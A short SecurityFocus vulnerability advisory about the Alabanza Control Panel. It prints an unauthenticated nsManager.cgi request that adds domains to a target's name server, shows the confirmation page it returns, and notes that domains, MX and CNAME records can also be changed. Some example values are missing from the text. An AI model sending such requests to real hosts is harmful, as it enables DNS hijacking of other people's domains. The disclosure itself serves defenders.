Alabanza Control Panel Domain Modification Vulnerability

To add a domain to the name server (using as an example and 'target' being an Alabanza host/reseller domain):

http://target/cp/rac/nsManager.cgi?Domain=<>&IP=<IP address>&OP=add&Language=english&Submit=Confirm

Accessing the following URL:

will display a page stating:

"Name Server Manager
Domain will be added within 1 hour!
Your domain <IP address> will be setup within 1 hour!

Please click here to go back."

From here modification, deletion, and addition of domains can be made, as well as changing the default MX or CNAME records.


Privacy Statement
Copyright 2010, SecurityFocus